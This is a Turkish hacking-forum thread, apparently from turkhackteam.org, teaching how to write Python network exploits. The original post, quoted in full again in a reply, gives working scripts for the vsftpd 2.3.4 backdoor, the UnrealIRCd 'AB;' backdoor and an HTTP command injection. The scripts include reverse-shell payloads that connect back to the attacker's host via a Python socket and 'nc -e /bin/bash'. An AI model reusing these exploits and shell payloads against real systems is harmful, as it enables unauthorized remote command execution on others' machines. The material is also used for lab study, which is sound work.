Python ile Exploit Yazmak

JohnWick51

Uzman üye
20 Mar 2022
1,865
770
28
Yeniden uzun bir konu ile merhabalar
Bugün sizlere python ile internet tabanlı exploit yazmayı anlatmaya çalışacağım.
Bunun içinde en sık örnek gösterilen 3 farklı açıktan yararlanacağım.


İsterseniz konuya giriş yapalım.

İnternet tabanlı bir exploit yazmak istiyorsak en başta network programlamayı bilmemiz gerekmekte.
Python ile network programlamada socket modülü kullanılmaktadır.
Socket üzerindeki belli parametreler.

Kod:
[/SIZE][/CENTER]
[SIZE=3][CENTER][FONT="Courier New"]socket.AF_INET   : Yapılacak bağlantıyı IPv4 üzerinden yapmayı sağlar.
socket.AF_INET6  : Yapılacak bağlantıyı IPv6 üzerinden yapmayı sağlar.
socket.SOCK_STREAM  : Yapılacak bağlantıda TCP protokolünün kullanılmasını sağlar.
socket.SOCK_DGRAM  : Yapılacak bağlantıda UDP protokolünün kullanılmasını sağlar.

socket.connect((h,p))  : Belirtilen IP adresine bağlanır.(Kullanıcı)
socket.bind((h,p))  : Belirtilen IP ile portu dinlemeye alır.(Sunucu)
socket.listen()  : Dinlemeye alınan adrese bağlanacak sayıyı kararlar.
socket.accept()  : Bağlantı kurmak isteyen kişileri kabul eder.
socket.send()  : Bağlantı kurulan kişiye veri yollanır.
socket.recv()  : Bağlantıdan gelecek olan cevabı alır.[/FONT]

Bu parametreler ile temel bir bağlantı kurulup iletişime geçilebilir.

Zaten yazacağımız exploitlerde çok temel düzeyde olacağı için bu parametreler yeterli olacaktır.


Vsftpd 2.3.4

Vsftpd açığını seçmemin temel iki nedeni var:
1- En fazla örnek exploiting işleminin kendi üzerinde geçmesinden dolayı.
2- Yapılacak olan bağlantıda herhangi bir handler bulunmaması.

Açığı istismar etmenin yolu ise, kullanıcıya yönelttiği kullanıcı adı sorusuna verilen cevabın sonuna kaçış parametresi olaraktan ":)" getirerek 6200 portunda bir shell açılması sağlanıyor.
Bu işlem için yazdığım kod ise şu:
Kod:
[/SIZE][/CENTER]
[SIZE=3][CENTER][FONT="Courier New"]01| from socket import *
02| import sys
03| 
04| aux = socket(AF_INET,SOCK_STREAM)
05| host = sys.argv[1]
06| port = int(sys.argv[2])
07| 
08| 
09| aux.connect((host,port))
10| head = aux.recv(1024).strip()
11| if "(vsFTPd 2.3.4)" in head:
12|     aux.send("USER something:)\n")
13|     aux.recv(1024)
14|     aux.send("PASS againsomething\n")
15|     aux.close()
16|     print "My man! This port has got a vull.\n"
17| else:
18|     print "Sorry dude:( This is a normal port\n"
19|     exit()
20| 
21|
22| exp = socket(AF_INET,SOCK_STREAM)
23| 
24| exp.connect((host,6200))
25| while True:
26|     com = raw_input("#")     
27|     if com == "exit":
28|         exp.close()
29|         exit()
30|     exp.send(com + "\n")
31|     print exp.recv(1024)
[/FONT]


Scriptin ilk 2 kısmında çalıştırılması için hazırlanan socket ve sys modülleri çağırılmış.
4. satırda yapılacak bağlantının TCP ve IPv4 üzerinde olacağı ve scripti kısa tutmak içinde aux olarak bir değişken vermiş.
5. ve 6. kısımda ise kulanıcıdan istenilen host ve port parametrelerini alacağı şekil kararlanmış.
9. satırda belirtilen IP adresi ile porta bağlanılmış. Artık tüm aux değişkenine sahip parametreler bu bağlantı üzerinden işlemlerini yapacak.
10., 11. ve 17. kısımda ise bağlanılan portun kontrolü yapılmakta.
12. satırda gönderilen veri ile kaçış parametresinide yollayıp exploiting işleminin ilk adımı yapıldı.
13. satırda gelicek olan paketi alarak işleme devam ediliyor.
14. ve 15. satırda son dokunuşu yapıp bağlantıdan çıkılıyor.
22. satırda yeni değişken ile koda bakıldığında daha anlaşılır bir görüntü olması adına 4. satırdaki gibi değişken veriliyor.
25. satırda bağlantının gerçekleşmesi durumunda kendi içerisinden çıkış yapılmadığı sürece devam edecek bir while döngüsü açılıyor.
26. satırda hackerdan gönderilmek istenilen veri isteniyor.
28. satırda rahatlık açısından hızlı bir çıkış işlemi anlatılıyor.
32. satırda girilen veri karşı tarafa yollanılıyor.
33. satırda gönderilen veriye karşılık olaraktan cevap geliyor ve yeniden 26. satıra geçiş yapılıyor.


.:Hacker abimizin gördüğü:.


1.png


.:Ağda olan bitenler:.


2.png




Unreal IRC


Kolay bir açık olmasının yanı sıra exloiting için bir handler kullanabileceğimiz bir açık olmasından dolayı bu açığı tercih ettim.
Açığı istismar etmek için ise, bağlantı gerçekleştikten sonra bize yollanan paketleri aldıktan sonra bizden beklenen cevabı "AB;" kaçış parametresiyle istismar ettirip sonrasında istediğimiz kodu yazabiliriz.
Bu işlem için şu scripti yazdım:

Kod:
[FONT="Courier New"]01| from socket import *[/SIZE][/CENTER]
[SIZE=3][CENTER]02| import sys
03| 
04| thost, tport = sys.argv[1], int(sys.argv[2])
05| lhost = '"'+ sys.argv[3] +'"'
06| 
07| 
08| fir = socket(AF_INET,SOCK_STREAM)
09| 
10| fir.connect((thost,tport))
11| payload = """AB;python -c 'import socket,subprocess,os;pay=socket.socket(socket.AF_INET,socket.SOCK_STREAM);pay.connect((""" + lhost + """,4444));os.dup2(pay.fileno(),0); os.dup2(pay.fileno(),1); os.dup2(pay.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" 
12| fir.send(payload)
13| fir.recv(1024)
14| 
15| 
16| han = socket(AF_INET,SOCK_STREAM)
17| 
18| han.bind(("",4444))
19| han.listen(1)
20| fir.close()
21| cl = han.accept()
22| print cl.recv(1024)
23| while True:
24|     sh = cl.recv(1024)
25|     send = raw_input(sh)
26|     if send == "exit":
27|         han.close()
28|         exit()
29|     cl.send(send + "\n")
30|     data = cl.recv(1024)
31|     print data[/FONT]


Başkısımlarda önceki exploitteki işlemlerin aynısı yapılmış.
11. satırda bağlantı kurulduktan sonra gönderilecek olan payload modülü tanımlanmış. Modül python ile yazılmış olup amacı hackerın 4444 nolu portuna sh(ell) ile bağlanmak. Bunun içinde ilk kısmında AB; kaçış parametresi görünmekte.
12. satırda payload gönderiliyor.
13. satırda sunucunun kalbini kırmamak için cevap paketi alınıyor ancak hackera sunulmuyor.
18. satırda sunucu tarafından gelecek olan shell bağlantısını yakalayabilmek için bir dinleme portu açılıyor.
19. satırda bağlanacak kullanıcı sayısının 1 cihaz olması isteniyor.
20. satırda önceki payload gönderilen bağlantının bitirilmesi isteniyor.
21. satırda gelecek olan kullanıcının cl adlı değişkene atanması kararlanıyor.
23. satırda bağlantı olması halinde çalışan while döngüsü bulunmakta.

Geri kalan kısım önceki exploit ile aynı işlemi yapmakta.

.:Hacker abimiz ne görüyor?:.


3.png


.:Wireshark ne görüyor?:.

4.png


Command Injection

Bu açığı seçmemin de iki nedeni var:
1- HTTP temeline sahip bir açık olması ve buna göre exploit yazılmasından dolayı.
2- HTTP ile çok fazla açık var ve hepsi birbirine benzediği için tembelliğimi kullanarak bu açığı seçtim.

Açığı istismar etmenin yolu, Command Injectionda sizden bir veri ister ve bu veriyi komut satırında çalıştırıp size çıktısını sunar, eğer kaçış dizini olarak "|" parametresini kullanırsanız sonrasında yazdığınız komut çalışır.
Bu işlemi yapmak için şu scripti yazdım:

Kod:
[FONT="Courier New"]01| from socket import *[/SIZE][/CENTER]
[SIZE=3][CENTER]02| import sys
03| 
04| con = socket(AF_INET,SOCK_STREAM)
05| han = socket(AF_INET,SOCK_STREAM)
06| rhost, url, lhost = sys.argv[1], sys.argv[2], sys.argv[3]
07| 
08| con.connect((rhost,80))
09| payload = "GET "+ url +"|%20nc%20"+ lhost +"%204444%20-e%20/bin/bash HTTP/1.1\nHost: "+ rhost +"\n\n"
10| han.bind(("",4444))
11| han.listen(1)
12| con.send(payload)
13| 
14| cl = han.accept()
15| while True:
16|     send = raw_input("==>")
17|     cl.send(send + "\n")
18|     data = cl.recv(1024)
19|     print(data)[/FONT]

İlk kısımlar yine diğer exploitler ile aynı işlemi yapıyor.
9. satırda HTTP portuna bir HTTP isteğinde bulunuyoruz. Gönderilen isteke içerisinde command injection yapacak olan komutta bulunmakta.(| nc [IP adresi] [port] -e /bin/bash)
10-12. satırlarında dinleme işlemi başlatılıp bypass kodunu içeren istek yollanıyor.

Geri kalan kısımlar diğer exploitler ile aynı.(Umarım fark etmişsinizdir.)

.:Hacker bey ekrana bakarken:.


5.png


.:Wireshark kahvesini yudumluyor:.

6.png



Konumu okuduğunuz için teşekkür ederim.
Mutlaka hatam vardır, pythonda uzman biri değilim.
İyi forumlar dilerim.
Ellerine saglik
 

TurkGokay

Uzman üye
4 Ara 2022
1,027
548
Kemalizm
Yeniden uzun bir konu ile merhabalar
Bugün sizlere python ile internet tabanlı exploit yazmayı anlatmaya çalışacağım.
Bunun içinde en sık örnek gösterilen 3 farklı açıktan yararlanacağım.


İsterseniz konuya giriş yapalım.

İnternet tabanlı bir exploit yazmak istiyorsak en başta network programlamayı bilmemiz gerekmekte.
Python ile network programlamada socket modülü kullanılmaktadır.
Socket üzerindeki belli parametreler.

Kod:
[/SIZE][/CENTER]
[SIZE=3][CENTER][FONT="Courier New"]socket.AF_INET   : Yapılacak bağlantıyı IPv4 üzerinden yapmayı sağlar.
socket.AF_INET6  : Yapılacak bağlantıyı IPv6 üzerinden yapmayı sağlar.
socket.SOCK_STREAM  : Yapılacak bağlantıda TCP protokolünün kullanılmasını sağlar.
socket.SOCK_DGRAM  : Yapılacak bağlantıda UDP protokolünün kullanılmasını sağlar.

socket.connect((h,p))  : Belirtilen IP adresine bağlanır.(Kullanıcı)
socket.bind((h,p))  : Belirtilen IP ile portu dinlemeye alır.(Sunucu)
socket.listen()  : Dinlemeye alınan adrese bağlanacak sayıyı kararlar.
socket.accept()  : Bağlantı kurmak isteyen kişileri kabul eder.
socket.send()  : Bağlantı kurulan kişiye veri yollanır.
socket.recv()  : Bağlantıdan gelecek olan cevabı alır.[/FONT]

Bu parametreler ile temel bir bağlantı kurulup iletişime geçilebilir.

Zaten yazacağımız exploitlerde çok temel düzeyde olacağı için bu parametreler yeterli olacaktır.


Vsftpd 2.3.4

Vsftpd açığını seçmemin temel iki nedeni var:
1- En fazla örnek exploiting işleminin kendi üzerinde geçmesinden dolayı.
2- Yapılacak olan bağlantıda herhangi bir handler bulunmaması.

Açığı istismar etmenin yolu ise, kullanıcıya yönelttiği kullanıcı adı sorusuna verilen cevabın sonuna kaçış parametresi olaraktan ":)" getirerek 6200 portunda bir shell açılması sağlanıyor.
Bu işlem için yazdığım kod ise şu:
Kod:
[/SIZE][/CENTER]
[SIZE=3][CENTER][FONT="Courier New"]01| from socket import *
02| import sys
03| 
04| aux = socket(AF_INET,SOCK_STREAM)
05| host = sys.argv[1]
06| port = int(sys.argv[2])
07| 
08| 
09| aux.connect((host,port))
10| head = aux.recv(1024).strip()
11| if "(vsFTPd 2.3.4)" in head:
12|     aux.send("USER something:)\n")
13|     aux.recv(1024)
14|     aux.send("PASS againsomething\n")
15|     aux.close()
16|     print "My man! This port has got a vull.\n"
17| else:
18|     print "Sorry dude:( This is a normal port\n"
19|     exit()
20| 
21|
22| exp = socket(AF_INET,SOCK_STREAM)
23| 
24| exp.connect((host,6200))
25| while True:
26|     com = raw_input("#")     
27|     if com == "exit":
28|         exp.close()
29|         exit()
30|     exp.send(com + "\n")
31|     print exp.recv(1024)
[/FONT]


Scriptin ilk 2 kısmında çalıştırılması için hazırlanan socket ve sys modülleri çağırılmış.
4. satırda yapılacak bağlantının TCP ve IPv4 üzerinde olacağı ve scripti kısa tutmak içinde aux olarak bir değişken vermiş.
5. ve 6. kısımda ise kulanıcıdan istenilen host ve port parametrelerini alacağı şekil kararlanmış.
9. satırda belirtilen IP adresi ile porta bağlanılmış. Artık tüm aux değişkenine sahip parametreler bu bağlantı üzerinden işlemlerini yapacak.
10., 11. ve 17. kısımda ise bağlanılan portun kontrolü yapılmakta.
12. satırda gönderilen veri ile kaçış parametresinide yollayıp exploiting işleminin ilk adımı yapıldı.
13. satırda gelicek olan paketi alarak işleme devam ediliyor.
14. ve 15. satırda son dokunuşu yapıp bağlantıdan çıkılıyor.
22. satırda yeni değişken ile koda bakıldığında daha anlaşılır bir görüntü olması adına 4. satırdaki gibi değişken veriliyor.
25. satırda bağlantının gerçekleşmesi durumunda kendi içerisinden çıkış yapılmadığı sürece devam edecek bir while döngüsü açılıyor.
26. satırda hackerdan gönderilmek istenilen veri isteniyor.
28. satırda rahatlık açısından hızlı bir çıkış işlemi anlatılıyor.
32. satırda girilen veri karşı tarafa yollanılıyor.
33. satırda gönderilen veriye karşılık olaraktan cevap geliyor ve yeniden 26. satıra geçiş yapılıyor.


.:Hacker abimizin gördüğü:.


1.png


.:Ağda olan bitenler:.


2.png




Unreal IRC


Kolay bir açık olmasının yanı sıra exloiting için bir handler kullanabileceğimiz bir açık olmasından dolayı bu açığı tercih ettim.
Açığı istismar etmek için ise, bağlantı gerçekleştikten sonra bize yollanan paketleri aldıktan sonra bizden beklenen cevabı "AB;" kaçış parametresiyle istismar ettirip sonrasında istediğimiz kodu yazabiliriz.
Bu işlem için şu scripti yazdım:

Kod:
[FONT="Courier New"]01| from socket import *[/SIZE][/CENTER]
[SIZE=3][CENTER]02| import sys
03| 
04| thost, tport = sys.argv[1], int(sys.argv[2])
05| lhost = '"'+ sys.argv[3] +'"'
06| 
07| 
08| fir = socket(AF_INET,SOCK_STREAM)
09| 
10| fir.connect((thost,tport))
11| payload = """AB;python -c 'import socket,subprocess,os;pay=socket.socket(socket.AF_INET,socket.SOCK_STREAM);pay.connect((""" + lhost + """,4444));os.dup2(pay.fileno(),0); os.dup2(pay.fileno(),1); os.dup2(pay.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" 
12| fir.send(payload)
13| fir.recv(1024)
14| 
15| 
16| han = socket(AF_INET,SOCK_STREAM)
17| 
18| han.bind(("",4444))
19| han.listen(1)
20| fir.close()
21| cl = han.accept()
22| print cl.recv(1024)
23| while True:
24|     sh = cl.recv(1024)
25|     send = raw_input(sh)
26|     if send == "exit":
27|         han.close()
28|         exit()
29|     cl.send(send + "\n")
30|     data = cl.recv(1024)
31|     print data[/FONT]


Başkısımlarda önceki exploitteki işlemlerin aynısı yapılmış.
11. satırda bağlantı kurulduktan sonra gönderilecek olan payload modülü tanımlanmış. Modül python ile yazılmış olup amacı hackerın 4444 nolu portuna sh(ell) ile bağlanmak. Bunun içinde ilk kısmında AB; kaçış parametresi görünmekte.
12. satırda payload gönderiliyor.
13. satırda sunucunun kalbini kırmamak için cevap paketi alınıyor ancak hackera sunulmuyor.
18. satırda sunucu tarafından gelecek olan shell bağlantısını yakalayabilmek için bir dinleme portu açılıyor.
19. satırda bağlanacak kullanıcı sayısının 1 cihaz olması isteniyor.
20. satırda önceki payload gönderilen bağlantının bitirilmesi isteniyor.
21. satırda gelecek olan kullanıcının cl adlı değişkene atanması kararlanıyor.
23. satırda bağlantı olması halinde çalışan while döngüsü bulunmakta.

Geri kalan kısım önceki exploit ile aynı işlemi yapmakta.

.:Hacker abimiz ne görüyor?:.


3.png


.:Wireshark ne görüyor?:.

4.png


Command Injection

Bu açığı seçmemin de iki nedeni var:
1- HTTP temeline sahip bir açık olması ve buna göre exploit yazılmasından dolayı.
2- HTTP ile çok fazla açık var ve hepsi birbirine benzediği için tembelliğimi kullanarak bu açığı seçtim.

Açığı istismar etmenin yolu, Command Injectionda sizden bir veri ister ve bu veriyi komut satırında çalıştırıp size çıktısını sunar, eğer kaçış dizini olarak "|" parametresini kullanırsanız sonrasında yazdığınız komut çalışır.
Bu işlemi yapmak için şu scripti yazdım:

Kod:
[FONT="Courier New"]01| from socket import *[/SIZE][/CENTER]
[SIZE=3][CENTER]02| import sys
03| 
04| con = socket(AF_INET,SOCK_STREAM)
05| han = socket(AF_INET,SOCK_STREAM)
06| rhost, url, lhost = sys.argv[1], sys.argv[2], sys.argv[3]
07| 
08| con.connect((rhost,80))
09| payload = "GET "+ url +"|%20nc%20"+ lhost +"%204444%20-e%20/bin/bash HTTP/1.1\nHost: "+ rhost +"\n\n"
10| han.bind(("",4444))
11| han.listen(1)
12| con.send(payload)
13| 
14| cl = han.accept()
15| while True:
16|     send = raw_input("==>")
17|     cl.send(send + "\n")
18|     data = cl.recv(1024)
19|     print(data)[/FONT]

İlk kısımlar yine diğer exploitler ile aynı işlemi yapıyor.
9. satırda HTTP portuna bir HTTP isteğinde bulunuyoruz. Gönderilen isteke içerisinde command injection yapacak olan komutta bulunmakta.(| nc [IP adresi] [port] -e /bin/bash)
10-12. satırlarında dinleme işlemi başlatılıp bypass kodunu içeren istek yollanıyor.

Geri kalan kısımlar diğer exploitler ile aynı.(Umarım fark etmişsinizdir.)

.:Hacker bey ekrana bakarken:.


5.png


.:Wireshark kahvesini yudumluyor:.

6.png



Konumu okuduğunuz için teşekkür ederim.
Mutlaka hatam vardır, pythonda uzman biri değilim.
İyi forumlar dilerim.
elinize sağlık güzel bir konu olmuş
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.